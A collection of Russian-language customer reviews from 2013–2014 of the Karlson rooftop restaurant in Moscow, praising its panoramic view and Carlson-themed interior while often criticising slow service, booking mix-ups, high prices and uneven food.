По моему мнению самый лучший ресторан. Обедал на террасе, очень было красиво, все стеклянное такое, понравилось панорамный вид ресторана. На выбор есть разнообразный выбор блюд итальянской кухни, обслуживание довольно быстрое, цены дорогие, но здесь так красиво было. Надеюсь еще посещу это заведение.
Одни сплошные шалости, но без варенья. Резервации столиков просто немыслима. Совершенно невозможно доказать потом, что бронировал. Ведь занести могут в один список, или в другой, или написать на листике и потерять. Нехорошо. Официанты все как на подбор в джинсовых комбезах, соответствуют. Ну, кстати, они вполне доброжелательны. Еда нормальная, красивая и качественная, но не идеальна далеко. Да и цены порой пугают. Вообще не советовал бы сюда ходить очень часто, так только изредка, от случая к случаю.
Настя Лёскина
30.04.2013
Да, действительно как будто живешь на крыше. Вид обалденный, ощущение полного простора и свободы. И кажется, что везде вокруг воздух. И от этого и блюда очень аппетитные, попробовать все хочется, готовят отлично!
Вячеслав Луконькин
14.05.2014
Да, Артем, нас с женой тоже этот ресторан весьма по душе. Уютный, красивый, с прекрасным видом из окна. Интерьер продуман. Правда, вот один раз вышел у нас неприятный момент с бронированием столиков… Я забронировал, как раз у окна с видом шикарным. Приходим с женой, а столик занят. Я сразу к администратору, мол так и так, бронировали. А он руками разводит. Нас, конечно, посадили, но не за наш столик. Это расстроило.
Dmitry Retix
30.04.2013
Весной здесь у меня проходила деловая встреча с важными людьми, место приличное, дорогое в обслуживании для людей высшего класса. Обслуживание соответствующие, очень интересно придуман дизайн ресторана, большие окна и много света, благодаря этому открывается хороший вид из окна.
Супер! Карлсон - ресторан с большой буквы!
Татьяна
30.04.2013
Шикарное место на последнем этаже офисного здания, летняя терраса по периметру здания, потрясающий вид на Москву, в т. ч. на Красную площадь, реку. Обстановка уютная, кухня изумительная! Но вот с обслуживающим персоналом - проблема. Началось все еще внизу, в холле бизнес-центра. Там пропускная система и видимо, чтобы не делать пропуска для гостей ресторана стоят два хостес, но вместо того, чтобы мило приветствовать они чуть ли не с дулом у виска спрашивают: "Вы в ресторан? У вас забронирован столик? На какую фамилию?!" После удачного прохождения первого тура вопросов один из хостес становится чуть милее и "предлагает" проводить нас наверх, а по факту он нас туда конвоирует:) Может там охрана БЦ очень строгая и ребятам уже не раз влетало. Не знаю, но мне было как-то не по себе. Столик бронировали с видом на Кремль, по факту посадили на другую часть трассы, с видом поскромнее. Но это был единственный свободный стол в заведении! Погода испортилась и именно с той стороны, где мы сидели начал дуть просто таки ураганный ветер, а потом еще и дождь. На уговоры нас пересадить персонал реагировал не активно, утверждая, что все столы заняты. Хотя буквально за углом (там, кстати, уже гораздо меньше дуло!) столик освободился. Потом ситуация стала критической и у нас чуть ли не стало сдувать бокалы. Нервы лопнули и самые отважные "с нашего стола" люди стали вставать и робко идти в сторону пустого столика (примечательно, робко шла не горстка студентов, а вполне себе состоявшиеся бизнес-леди во главе с директором по маркетингу одного из крупнейших банков страны!). В итоге проходящий мимо мужчина (по виду похожий на управляющего или, скорее даже, владельца заведения) великодушно "предложил" нам пересесть. на освободившийся стол, который мы уже практически оккупировали. Повторюсь, кухня была отменная, правда готовили очень долго. Официантка избалованная чаевыми и вниманием публики слабо реагировала на внешние стимулы. Была горда и неприступна, как Эверест:)
Стоит посетить Карлсон ради открытой летней веранды, а вернее великолепного вида на Москву с этой веранды. Удобные диваны, никакой духоты, приятный интерьер, есть пледы. Внутри ресторан также оставляет хорошее впечатление – много воздуха, высоченные потолки, несмотря на отсутствие зоны для курящих, а также наличие части кухни, выходящей в зону обслуживания, никаких посторонних запахов - вентиляция работает отлично. На официантах белые рубашки и темно-синее полукомбинезоны, хотя на Карлсона не тянут - все стройные. Несмотря на то, что обслуживающего персонала просто много, если не берут заказ более пяти минут, смело цепляйте первого встречного официанта, иначе можно ждать и дольше. Если соберетесь в выходные вечером и непременно на веранду – обязательно бронируйте заранее, может случиться, что мест не будет. Еда ни хорошо, ни плохо, действительно интересна подача – все так затейливо украшено и выложено на не менее интересные тарелки. Еще есть цветные карандаши, которыми можно рисовать на бумажных салфетках. Резюме - один раз за лето, а то и больше обязательно надо посетить, причем интересно будет как вдвоем, так и большой компанией. P.S. Дополнение к прошлой рецензии - окончательно и бесповоротно - еда дрянная! Где шеф-повар видел брускетту, которая по своей консистенции является холодным сухарем, с которым ни зубы, ни вилка с ножом не справляются?! К тому же, сухари явно были заготовлены заранее - холодный сухарь + теплая креветка сверху - это мрак! Десерт, справедливости ради надо отметить, был вкусный. Так вот и не поймешь, что делать с этим рестораном - и не ходить нельзя, и еда невозможная.
Юлия Поланская
21.05.2013
Не смотря на скудность меню и отсутствие половины того немногого, что предложено, не смотря на достаточно равнодушных официантом, этому месту прощаешь все за возможность подняться над городской суетой и посмотреть на все с высока)))). В солнечный день на террасе на столько хорошо, что уходить ну совершенно не хочется. Готовят интересно! Хочется приходить снова и снова!
Была там 17 мая, отмечала День Рождения. К сожалению, в этот день полюбоваться видами с веранды не удалось, она была закрыта из-за жуткого холода. А вид там и вправду чудесный. Кухня не поразила. Вкусно, но не западает в душу так, чтобы приходить ради неё. А вот с официанткой нам повезло. Нас обслуживала милая и улыбчивая девушка Светлана. Думаю, что вернусь сюда теплым летним вечером на веранду, попить лимонад, которого в тот вечер также не оказалось))
Ставлю оценку пять за прекрасный вид и дизайн. Очень красиво, а открытая веранда с мягкими диванами просто супер. Еда обычная, обслуживание так себе - слишком много народу, и официанты, как мне показалось, не справляются. Вечером весело, играет хорошая музыка и много молодежи.
Жизнь в Мегаполисе - это вечная погоня. Погоня за достойным образованием, погоня за лучшим местом под солнцем, за престижем и авторитетом. На простые радости у нас совсем не остается «соков». Доказательством этой тезы служат штампованные заведения, которые мы посещаем по инерции. Неужели все так мрачно? Пожалуй, нет. Остались- таки места куда мы ходи за настроением и атмосферой. В их разряд я бы отнесла ресторан Карлсон. Потрясающий вид, это не единственный козырь Карлсона. Еда здесь не угодит наверное только редкостной привереде. Я отдаю предпочтение итальянской кухне, заказывала брускетта с креветками (около 500р) и ризотто с грибами ( 686 р) — вкусно. Самое главное, пожалуй, в Карлсоне — атмосфера, такой «комплимент» лично я бы сделала не каждому московскому ресторану!
Жора Гобовскай
11.06.2013
Приезжают за вами на лифте, провожают до стола, назад так же. Ценник значительно выше среднего, обслуживание отличное. Слил там около 6000 руб. за пару салатов и 4 или 5 коктейлей. Вид с балкона очень хороший. Публика приличная.
Отличное место! Официанты с пропеллерами, банки с вареньями и конфетами, вернулись в детство!
Понравилось в ресторане, светлый и воздушный зал, приветственная обстановка. Рыбка ничего, вполне удалась. И в целом еда неплохая, но главное достоинство ресторана - это, конечно, его "высокое положение". Вид открывается отличный.
Мне кажется вы тупо повелись на интерьер. Ведь он же связан с вашим детством, да. Концепция хорошая, но этого мало. Не надо просто из-за того, что сделали интересный интерьер, взятый по мультику, судить об заведении, я бы посмотрела на вас, когда вы бы ждали один несчастный супчик 30 минут, или чтоб там было столько мало официантов. Мне кажется, что вы просто там были всего один раз, и поэтому у вас сложилось поверхностное впечатление. Когда вы там в последний раз были?
Kendy
09.04.2013
Ходили с другом днем в выходные. В целом, приятное место. Сидели на втором этаже на диванчиках. Поскольку кафе на стеклянной крыше - светло! Хороший вид, на открытой веранде летом будет еще лучше. Уютно, на полках стоят банки с мармеладками и конфетками, при желании можно побыть Карлсоном и полазить по банкам. хоть и не с вареньем. Еда без определенной, как мне показалось, концепции. Борщ хороший, утка (на удивление) тоже понравилась. Но соглашусь с предыдущими отзывами, если желание хорошо поужинать, то лучше не сюда. Если посидеть, отдохнуть, поболтать с друзьями, забыть о суете, а заодно и перекусить, то место, на мой взгляд, к этому располагает. То, что категорически не понравилось - заказав шарлотку с яблоком принесли пирог, который описанию в меню не соответствовал вообще. В ответ на мое негодование извинились и сказали, что сменился повар и концепция десертов, но меню перепечатать еще не успели. о таком предупреждать надо заранее! И еще. в меню отсутствуют плюшки с корицей. не по Карлсоновски как-то! А в комбинезончиках официантов не хватает пропеллеров, а на лица я бы добавила карлсоновское дружелюбие. Но это, я наверное, слишком много хочу.
Olga Zadorozhnaya
14.05.2014
Карлсон на крыше Централ Сити — весьма концептуальное заведение: интерьер, кухня и обслуживание все к одному. Меня в принципе радуют заведения, у которых есть свой стиль и кредо, то есть такие, как ресторан Карлсон в городе Москва.
Dina
09.04.2013
Вкусные десерты и натуральные сорбе, хороший хлеб, просторно, не многолюдно (в воскресенье в обед мы были единственными посетителями, ближе к 15 были заняты ещё пара столов, возможно, в будни ситуация иная), сейчас готовят террасу, она будет ещё одним плюсом, потому, что виды приятные, официанты с натянутыми, но улыбками, и отзывчивые, на столах смешные салфетки под тарелками и цветные карандаши, чтобы их раскрашивать, видимо, в ожидании заказа, огромные вазы с карамельными конфетами по всему залу. Нет в наличии части блюд, указанных в меню, а имеющиеся в витрине десерты почему-то в меню не указаны. Закуски и горячее очень средние по вкусовым качествам, если бы не отличные десерты в конце, то было бы тоскливо. В салате "Деревенский с сыром халуми" сыр добавлен в каких-то гомеопатических дозах, грекам и не снилось:) Хорошее место для встреч с плохознакомыми людьми, когда нет права на ошибку (типа новых деловых партнеров, знакомств с родителями жениха и пр.) - не особенно вкусно, но стабильно хороший сервис, удачный интерьер, относительно большой выбор блюд, спокойная атмосфера.
Возможно ресторан Карлсон на фото не впечатляет, но зато в реальности… Это место и в правду очень симпатичное, еда красиво оформлена, приятно посещать из раза в раз. Ресторан Карлсон еще и адрес имеет удобный, тут тебе и метро под боком, и на набережку погулять.
Даша Стрелкина
09.04.2013
Добротное Гинзовское заведение. Из плюсов - номерки -головоломки, веселенький кафель в wc, официанты-Карлсончики, прекрасный вид из окна. Из минусов - Добротное Гинзовское заведение. Недешево, не быстро, официант забыл одно блюдо. В целом, неплохо, но и не особо хорошо. НО! Вид отличный!
Burmistrov Andrey
23.06.2013
Ресторан полностью оправдывает своё названия. С гостями тут также "шалят" как и Карлсон со своим другом Сванте Свантесоном. Как мы помним, герой Астрид Линдгрен жил в маленьком домике на стокгольмской крыше, но вот переехав в Москву, он почему-то предпочёл расположиться в Пентхаусе на крыше бизнес-центра. Наверное, креативщики холдинга Ginza Project предположили, что Карлсон за более чем 50 лет с момента выхода книги успел сколотить состояние на новое "доступное" жильё. В тайну бронирования посвящены несколько хостес, а потому не удивляйтесь, если ваше имя не нашли в одном списке - оно может быть в другом, а может вообще отсутствовать потому, что его записали на бумажке, а бумажку потеряли. Пошалили. Но искусственный ажиотаж в бронировании столиков отчасти оправдан. Счастливчиков, занявших удачные места, ждёт ни с чем не сравнимый вид на Замоскворечье. В отличии от "City Space", где Москва выглядит как на картах Google, и от "White Rabbit", где кругом архитектурные "вставные челюсти", в "Карлсоне" город более живописный. Самые красивые виды, как ни жаль, открываются в неудобном месте на проходе (в начале открытой веранды). Устроившись поудобнее в кресле и оглядевшись вокруг, вы обнаружите официантов в джинсовых комбинезонах - Карлсон не только переехал в Пентхаус, но и стал фетишистом. Официанты и сомелье, кстати, очень доброжелательные и расторопные. Не знаю почему их ругают в предыдущих отзывах, возможно, больше не к чему было придраться. Цены в меню шалят и больше похожи на распродажу в сетевом супермаркете - оливье и салат с осьминогом по 888 руб., капрезе и филе пагра по 999 руб. Еда, кстати, правильная и вкусная. Качественные ингредиенты, красивая подача. Назвать её изумительной язык не повернётся, но и упрекнуть поваров, честно говоря, не в чем. Ресторан событийный, для какого-нибудь подходящего случая. Как обёртка для подарка - на один раз. Приходить сюда часто и просто так безо всякого повода совершенно не хочется из-за типичных "шалостей", штампуемых Ginza из раза в раз.
Роман Клименко
23.06.2013
Очередное пустое видовое-интерьерное место, коих в Москве не счесть. Основной вид откроется с летней веранды, которая работает месяца три в году и не более. Все остальное время это просто купол из стекла на последнем этаже бизнес-центра, сидя в котором видны только крыши домов и несколько высотных зданий. Но не забываем, что мы все же в ресторане, а не на смотровой площадке. Пройдя в холл бизнес центра, ждем минут 5 пока за нами не приедет сопровождающий на лифте и не проводит в ресторан. Меню с "интересными ценами", заключается либо в семетричных цифрах или красивых сочетаниях. Например 444 или 777 рублей. На этом весь интерес заканчивается. Хотя это и не обычно. Сам же ценовой сегмент это паста от 450 рублей. Салаты в среднем 800. Десерты 400-500. Горячие блюда от 850 и выше. В общем чуть дороже средней цены по Москве. Сами же блюда ужасны. Видно повар улетел вместе с Карлосоном, а на кухне заправляет Фрекен Бок. Спагетти с тунцом и помидором доесть не получилось. Кролик за 1200 представляет жалкое зрелище. Если не лень советую посетить их сайт и посмотреть фотографии блюд из ресторана. Вот таких блюд как на фото и такой подачи Вы там не найдете. Десерты так же никакие, как по вкусу так и по оформлению. Стандартный набор милфей-чизкейк-тирамису-брауни переходят из меню в меню в каждом втором ресторане Москвы. Ну и конечно присутствует гость всех "топовых" ресторанов Москвы - кальян! Без него еда не еда. Не хватает только караоке для полного комплекта:) Вообще было бы честно и справедливо поменять название ресторан на бар или кабак. Именно баром он и является, но не более.
Серые краски размыли небо над столицей и вылились за границы, испачкав унылыми пятнами дома, дороги, людей. На Овчинниковской набережной в дымку вгрызается верхушка ТЦ. Парковки нет, передвигаемся короткими перебежками, пытаясь спастись от дождя. Главный вход открывают массивные двери на электроприводе. Нас встречает хостес от ресторана и сажает в лифт. Этажность не высокая. Компоновка зала все столы подводит под одну категорию - где-то в центре. Место у окна не имеет значение, т. к таковым не является. Веранда загораживает вид, который прекрасен только с нее.
Ибо нам так не везет, либо все действительно так. Ну для начала все же стоит сказать, что ресторан имеет прекрасный вид на Москву, летом здесь есть чудесная веранда, места на которой нужно бронировать заранее. Что касается самой еды - неплохо, но как-то просто. Очень понравилось только при первом посещении и с каждым разом впечатление все больше портятся. Еще одна проблема-обслуживание. Со временем оно портится и в последний раз попали на официанта, который был не то, что не заинтересован в том, чтобы обслужить нас, а сложилось ощущение, что он не заинтересован ни в чем в этом мире: медленно, скучно, весь в своих мыслях, в общем никак.
Заходили на днях семьей с детьми без заказа столика. дали хороший столик на пару часов. посидели душевно на 600 рублей, чай и тарталетки. единственное горе - запертая на сундук веранда, по которой прогуливался фотограф. говорят, откроют в начале мая.
Nickolas Needsalubejob
23.06.2013
Вас встретит грустная девушка в длинном, унылом, черном платье внизу, в холле и также уныло проведет на 21-ый этаж, в красивый зал с уютным видом на старую Москву. Обслуживание отличное, кухню большинство гостей заказывает итальянскую.
Ирина Борисова
23.06.2013
Были втроем в ресторане"Карлсон". Чуже придумать трудно! Я не помню такого безобразного обслуживания нигде! 40 минут к нам вообще никто не подходил. Потом подошла недовольная официанка Оксана, и когда я стала делать заказ и задумалась над горячим на несколько секунд, она сказала, что ей некогда, и она подойдет потом. Понимая, что я упускаю шанс поесть вообще, заказала уже что-то. Бутылку вина Санкер принесли довольно быстро (ребята, здесь будьте трижды осторожны! вот это прямой развод), а вот пиво мужу пришлось ждать еще 40 минут, и только с третьего напоминания и после просьбы позвать менеджера (которого, конечно, никто не позвал) в итоге через 1, 5 часа ожидания он получил свое пиво. Приносят закуски, мужу - ничего. На вопрос - почему ему ничего не принесли, Оксана отвечает, что он ничего не заказал и сказал, что подумает. На всякий случай - муж у меня англичан, и по-русски не говорит вообще. Как она умудрилась услышать, что он якобы думает над заказом, это фантастика! НУ ладно, приняла заказ от него, не прошло еще и часа, как вместо брушетты она приносит буритто. И тут мы поняли, что она глухая. Ну ничего, еще полчаса, те два часа с самого начала, и муж получил не только пиво, но и закуску. Сигареты, чтобы не нарушать традицию, принесли тоже после второго напоминания, причем Оксана называла одни сигареты, что есть в наличии, а второй официант - абсолютно другие. Ладно, не будем привередничать, сигареты ведь мы все-таки получили. С горячим и десертом она уже справилась. Качество еды было вполне приемлемым. И тут нас ждал последний, но не менее радостный сюрприз - СЧЕТ! В нем мы нашли бутылку Санкер за 5880, хотя в меню было 2 500. Там даже рядом не было такой цены! Ребята, оно вам надо?! Очень советую обходить этот ресторан стороной.
Поддержу — приятное заведение, чего только вид на город стоит! Удобная мебель, уютно, обслуживание первоклассное! Заказывал треску на пару, салат с куриной печенью и салат с креветками — ФЕНОМЕНАЛЬНО ВКУСНО! Кальян тоже неплохой, официанты работают прекрасно — заказы приносят очень быстро! Вай фай тоже отлично работает.)))) Официант в очках (жаль, что не вспомню имени) неплохо разбирается в винах, пили французское шардоне, безумно понравилось.))) Заведение непафосное, приятно провели вечер в компании друзей, обязательно приедем еще — понравилось все.))))))))
Влад Андреев
09.04.2013
Плюсы: расположение и виды, оригинальная атмосфера в духе любимого мультфильма, веселый и вполне внимательный персонал. Праздновал у них свой последний ДР (на балкончике над баром/кухней) - все на высшем уровне, работать умеют. Минусы: неудобная парковка, странная система входа "через турникет", собственно еда действительно средненькая. Резюме: отличное свежее место для тех, кто любит формат заведений а ля Калина Бар - рекомендую посещать заведение в качестве препати накануне выходных, в дневное время для делового обеда в расслабленной обстакановке, а также друзья говорили, были там с малышами. Им там очень весело.
Дмитрий Алексеевич
30.04.2013
Этот ресторан много кто советовал и много кто туда ходил. И я решил сходить. Понравилось очень! Ну почти всё, если не считать больших цен, но всё очень вкусно, хорошее обслуживание, классный интерьер и дизайн, советую хотя бы раз туда сходить!)
Самое лучшее здесь - это атмосфера и интерьер. Вокруг все так необычно, в другом ресторане такого не увидишь. Питание отличное, сочетается вкус и качество с неплохой ценой. Обслуживание мгновенное. Обслужили быстро и качественно. Мне все понравилось!
В гостях у Карлсона! Красивое пространство! Побывали единожды с семьей элементарно из энтузиазма, и сейчас любой раз, когда отдыхаю в Москве, я нахожу время и спешу на вечернее действие. Опосля открытия летней веранды стало ещё приятнее). В Москве чрезвычайно не достаточно мест в каком месте обслуживает настолько приятный и симпатичный персонал. Пища чрезвычайно аппетитная и совершенно дешевая, гости - образованные и нередко популярные люди.
Елена Денисова
30.04.2013
Ресторан приличный. Внутри очень понравилось, стеклянная панорамная крыша не оставит равнодушным никого. Огромное внутреннее пространство. Действительно, как на крыше, в гостях у Карлсона. Сходим еще, здесь очень романтично!
Ольга Хабибулина
30.04.2013
Обалденное место. Там настолько классно, что просто не могу подобрать слов. Панорамная крыша, поваров видно через стекло. Большой выбор блюд и недорогие цены. Очень быстрое обслуживание и ответственный персонал.
Евгения Петрова
30.04.2013
Прикольный ресторанчик с панорамным видом на Москву. Насчет цен, то тут дороговато в силу необычности заведения. Но покушать в приятной обстановке, да еще и с таким видом - это того стоит. Всем советую сходить!
Ресторан развлекательно-игрового центра "Карлсон" не по мне! Средний чек здесь 50-100 баксов. Это через чур дорого для заведения подобного типа. По мне это простое кафе, но цены просто заоблачные для него.
Ekaterina Kiseleva
30.04.2013
Просто наикрасивейший вид из окна этого ресторанчика, своеобразная, интересная мебель и отделка помещения, как будто оказываешься в детстве. Сервис приятно удивил, хорошее обслуживание. Там даже иногда бывают иностранные гости.))
Интерьер был интересным, выбор хорошим, сервис приятно удивил. Так как присутствовали иностранные гости, порадовало наличие блюд русской кухни. Качество и презентация блюд понравились, хотя и интерпретация некоторых довольно знакомых блюд была довольно необычной - оливье, которое было больше похоже на суши. Рекомендую, и обязательно вернусь сам.
Дмитрий Коробейников
30.04.2013
Очень прекрасный интерьер, который не требует что-то нового, и ненужно ничего убирать. Еда конечно очень вкусная, например я заказал огромную порцию на троих, остались довольным все и всему! Очень порадовали официанты, которые терпеливо выслушали заказ и принесли, всегда улыбаясь, заказ.
Обалденный вид, который перекрывает все недостатки на вроде надоедливых официантов. По еде в целом претензий нет, все окей.
Владимир Смеркис
09.04.2013
Ресторан оставил о себе чрезвычайно приятное впечатление. Расположение в бизнес-центре даже даёт какой-то нормальный такой изюм Карлсон. Встреча внизу хостес, пара минут на лифте наверх и мы на месте. Смешные (по хорошему) костюмы официантов, а-ля карлсон, мягкие диваны, вменяемая еда. Единственное, к чему не был готов, так это к отсутствию в меню половины заказа, но за атмосферу Карлсону я это простил, да и было это в период открытия ресторана. Обязательно загляну еще разок, но уже в пятницу или субботу, когда тут говорят вечеринки)
Отличный ресторан, меню разнообразное, обалденная панорама на Москву, видны сразу 7 высоток, Москва-Сити, КРАСНАЯ ПЛОЩАДЬ просто на ладони, есть при таком виде на столицу было очень приятно! Мы отлично провели время, всем советуем! Приятный бонус на дневные заказы 20% скидка!
Движение за Мишлен в Москве
09.04.2013
Когда мы с женой зашли в Р. И. Ц., у нас просто захватило дух! Одного взгляда было достаточно, чтобы понять - это место из тех, куда ты будешь ходить еще много много раз. Потрясающая атмосфера - воздух, пространство, цвета, высота, панорама! Раньше здесь находился фитнес-клуб. Летом на веранде (фактически террасах на крыше, выходящих на все стороы света) выставляли шезлонги. На них можно было загорать днем и наслаждаться коллосальными видами Москвы с высоты птичьего полета. Это наиболее высокая точка обзора, расположенная ближе всего к Кремлю. Но испытать такое удовольствие могли только члены фитнес-клуба. Предстваляю, какой интерес вызовут террасы Карлсона этим летом, т. к. попасть туда смогут все желающие. К тому же, потрясающие виды будут доступны и ночью. Я готов купить майку с надписью "Я фанат этого места" только за один вид! Все остальное не так важно. Хотя к плюсам можно отнести и многое другое, в том числе и подземную парковку.
Александр Мутовин
14.05.2014
Вполне цивильное место с весьма неплохой кухней и приятным интерьером. Твердая пятерка!
Роман Антоненко
09.04.2013
Ресторан Интересных Цен + Карлсон: цены все типа 404 руб. или 555 руб. + на крыше. Официанты все в комбинезонах разве, что без пропеллеров. А хостесс как стюардессы одеты, что больше всего напоминает темно-синюю ретро форму "Аэрофлота":) Плюсы: отличный вид (дом на Котельнической набережной), интересный интерьер, огромная открытая кухня и очень уютно. Есть намеки на будущую летнюю площадку, которая точно будет одной из лучших. Основной минус один - кухня: не особо вкусно, хотя подача блюд очень интересная (например, квадратный стейк тар-тар или салат "Оливье" кубиками). Не то, что как-то совсем невкусно, а просто невкусно. Стоит сходить, когда кухня стабилизируется!
Вид - 5! Это лучшее в городе Атмосфера - 4+ Музыка - 4+ (было бы 3, но спасает живое оформление) Коктейли - 3+ (надо срочно, что то делать). Кухня - 3 Ценовая политика - высоковато будет за "авторскую" кухню на 2 страницах А4 Обслуживание - 2+ (официант человек, который тебя должен погрузить в атмосферу, расположить и дать забыться, там этого искать не стоит). По персоналу видно, что они на работе и в глазах читается "когда же блин этот день закончится и все вы отсюда уйдете", а улыбка поистине счастливая была только у повара. Тема "обаятельного мужчины" раскрыта не полностью! Явных атрибутов сладкой жизни нет вообще! Варенье то будет когда нибудь вновь пришедшим?))) Но помните, главное не место, а компания. А устроившись на веранде под теплым пледом на уютных диванах, Вы забудете обо всех недостатках.
Екатерина Бахолдина
30.04.2013
Потрясающий ресторан, отмечали там выпускной вместе с однокурсниками. Прекрасное обслуживание, очень вкусная еда и хороший алкоголь, очень красивый вид на Москву (ресторан находится в бизнес-центре Сити-тауэр на новокузнецкой на самом верхнем этаже).
Yulia chinaryova
30.04.2013
Потрясающий вид с веранды, куда так просто не попасть, но даже из зала отличный вид на высотку на Котельнической набережной. Дорого (чай в пакетиках стоит больше 400 руб.). В целом, довольно калорийно с немного странным закосом под высокую домашнюю кухню. Тем не менее, приятно, колоритно, запомнится.
Шикарный ресторан в центре Москвы! Можно заказать диванчик (предварительно) и наслаждаться великолепным видом из окна (вид на Москву), т. к. ресторан находится на 14 этаже! Чрезвычайно вкусные блюда и особенно десерты. Цены, в общем-то, умеренные.:)
Светлана Гундарева
30.04.2013
Потрясающий вид на город с ресторана, "летник" находиться на крыше высотного здания, в центре Москвы, были в гостях у родственников и посетили сей ресторан. Очень вкусные блюда и десерты, а также необычная сказочная обстановка, интерьер на тему м/ф "Карлсон". В заведении часто встречаются светские личности, что нас и удивило.)) Цены в основном для людей среднего звена.)
Елена Герасимова
30.04.2013
Уютный ресторан интересных цен РИЦ "Карлсон" с верандой и панорамным видом на Москву. С авторской кухней. С затейливым интерьером в стиле знаменитого, всеми любимого произведения "Карлсон, который живет на крыше". Попробовали несколько блюд, простых, но мило оформленных. Понравились официанты, которые одеты в костюмы Карлсона, только без моторчика за спиной.
Anna Fedorenko
30.04.2013
Хорошее место, атмосфера здесь теплая, расслабленная, хочется улыбаться и отдыхать. Ресторан находится на крыше бизнес-центра, вокруг открывается отличный вид. Цены действительно интересные, ценовую политику сложно оценить. Кухня авторская, интересные блюда, сочетания, красивая подача. Вино отличное, рекомендую.
Елена Храпунова
30.04.2013
Ресторан находится на Овчинниковской Набережной, на 14 этаже бизнес-центра Central City Tower. Новый ресторан, как и любимый с детства сказочный герой, живет на крыше. Только в отличие, от сказочного прототипа это крыша - современного бизнес центра Central City Tower, который расположился на Овчинниковской набережной, откуда открываются потрясающие виды на Кремль, Москва-реку, Замосковоречье и другие столичные достопримечательности. Тема развивается повсюду в интерьерах, меню и даже в одежде официантов, создавая атмосферу домашнего уюта и гостеприимства. Если за уют и дружелюбную атмосферу отвечает Карлсон, то за еду не менее легендарный персонаж - Татьяна Блоцкая. Одна из немногих женщин шеф-поваров Москвы, Татьяна известна своим авторским гастрономическим почерком, который она обрела, практикуясь в Испании. Гостям Карлсона она предлагает домашнюю авторскую кухню, в которой испанские мотивы переплетены с традициями разных стран и культур.
Aleksandra Chirkova
30.04.2013
О, долго пыталась попасть в это место, но никак не удавалось заказать столик на летней веранде. Когда же я все-тами попала туда, то разочарована не была. Шикарный панорамный вид на Москву с 17-го этажа! Удобные диванчики, свежий воздух. Сидеть там можно бесконечно. Очень вкусный салат с рыбой и клубникой. Хорошие напитки. С удовольствием вернусь туда, уже в закрытый ресторан.
Отличное место, такое креативное, интересное, чисто гинзовское. Цены приемлемые, можно неплохо покушать за бюджетную стоимость. На летней веранде такой вид классный, Москва как на ладони раскрывается перед тобой. Кстати, ресторан всегда популярен, столик заказывайте заранее.
Светлана Игоревна
14.05.2014
В этот ресторан попали с сыном спонтанно, не ожидая, что простой вечер прекратится в настоящий праздник, очень повеселила форма официантов — одежда Карлсона, сразу такая ностальгия по детству проснулась. Персонал - молодцы, у них наверное помимо формы, как у Карлсона, у них видимо еще и пропеллеры есть, потому, что очень быстренько нас обслуживали. Очень много блюд русской кухни, нам особо понравились чебуреки, оливье и оладушки с красной икрой. Порции там конечно очень маленькие, нужно очень внимательно смотреть в меню. За соседним столиком ругались, что заплатили много, а принесли им мало. Интерьер веселый, я думаю каждом ребенку здесь очень понравится. Прекрасный повод сделать ребенку праздник:)
RIVALY
09.04.2013
Вид - 5! это лучшее в городе Атмосфера - 4+ Музыка - 4+ (было бы 3, но спасает живое оформление) Коктейли - 3+ (надо срочно, что то делать). Кухня - 3 Ценовая политика - высоковато будет за "авторскую" кухню на 2 страницах А4 Обслуживание - 2+ (официант человек, который тебя должен погрузить в атмосферу, расположить и дать забыться, там этого искать не стоит). По персоналу видно, что они на работе и в глазах читается "когда же блин этот день закончится и все вы отсюда уйдете", а улыбка поистине счастливая была только у повара. Тема "обаятельного мужчины" раскрыта не полностью! Явных атрибутов сладкой жизни нет вообще! Варенье то будет когда нибудь вновь пришедшим?))) Но помните, главное не место, а компания. А устроившись на веранде под теплым пледом на уютных диванах, Вы забудете обо всех недостатках.
Maria Popyrina
09.04.2013
Забронировали столик, при звонке сказали, что столик - последний. Посадили в данный угол, но самое неприятное - там был ужасный сквозняк, дуло из огромного кондиционера и открытой двери на летнюю веранду. Ресторан был полу-пустой, но в течении 1.5 часов нас так и не пересадили, несмотря на все наши просьбы. Одна из девушек, кстати, на следующий день слегла с температурой. Интерьер и виды, безусловно, без комментариев, очень красиво, интересно. Летом, думаю, будет еще более волшебно. Но! Пришли голодные, желание было плотно поужинать, открыли меню и взгляд ни на чем не мог остановиться. Выбрать нечего. Усилием воли выбрала домашний салат, бефстроганов, шоколадный торт, ягодный коктейль и чай с чабрецом. Для меня показателем в салате всегда являются помидоры. Так вот, в этом ресторане они абсолютно пластиковые. Бефстроганов - так себе. Еда абсолютно не впечатлила. Ягодный коктейль, вообще, оказался жидкостью с брошенными туда немногочисленными ягодами. В общем, если идти ужинать - то явно не сюда. Обслуживание, кстати, тоже весьма посредственное. Если идти, то за видами Москвы на летнюю веранду.
Решив посетить это заведение позвонил с утра в пятницу заказать столик, сказали, что столиков свободных нет. Думаю интересно, либо места мало, либо так хорошо, что мест не бывает. Позвонив в воскресенье мне забронировали последний столик. Итак, заведение расположено на 14 этаже офисного центра. Внизу вас встречает девушка в форме стюардессы. Далее в лифт и на 14 этаж. Ранее тут находился спортклуб Гринпоинт. Ресторан условно имеет несколько зон: - общая зона со столиками (типа аквариум), - зона на балконе над барной стойкой, - открытая терраса по периметру (за аквариумом). Курят везде, понятия о курящих/некурящих зонах нет, несмотря на детей, беременных и прочих. Обслуживание, официанты в комбезах джинсовых, типа в стиле Карлсона. О главном, о еде. В меню много интересного. Я взял картофельный суп, салат с уткой, и кусок мяса с гарниром овощи-гриль. Из напитков местный морс. Итак, теперь я знаю как сделать деньги! Берёте минералку с газом добавляете льда и смородинного варенья и ставите цену в 700 рублей! Ну да ладно. Суп оказался вполне себе приличным. Салат тоже, правда утки можно было бы побольше, а зелени поменьше. А вот горячее абсолютно бездарно приготовлено. Овощи-гриль в Карлсоне делают в таком количестве масла, что может появиться изжога. Мясо с кровью было с кровью, однако снаружи зажарено до состояния корки. И вообще всё горячее было ооооочень жирным. Блюда готовятся долго, горячее мне делали более 40 минут. Десертов указанных в меню нет, о чём никто не предупреждает заранее. Объясняется это уволенным кондитером. Однако на витрине лежат заветренные сладости а ля Волконский. Официант с город поднятым носом сказал, это творение кондитера из кафе Аист. Ну какой Карлсон без сладостей? Конфеты в вазах не в счёт. Итак за 5 000 рублей съел не очень вкусные блюда. Вид из окон это хорошо, но и еда должна быть на таком же высоком уровне. Чего не увидел. Итак вывод, хотите покушать- не ходите туда. Хотите потусоваться выпить кофе и съесть неизвестно где сделанные десерты втридорога - милости прошу. Также абсолютно не понятно, в чём заключается Карлсоность заведения. Кроме костюмов официантов и весёлых картинок по стенам сортира ничего о Карлсоне не напоминает. Я туда больше ни ногой!
Катерина Веселова
21.05.2013
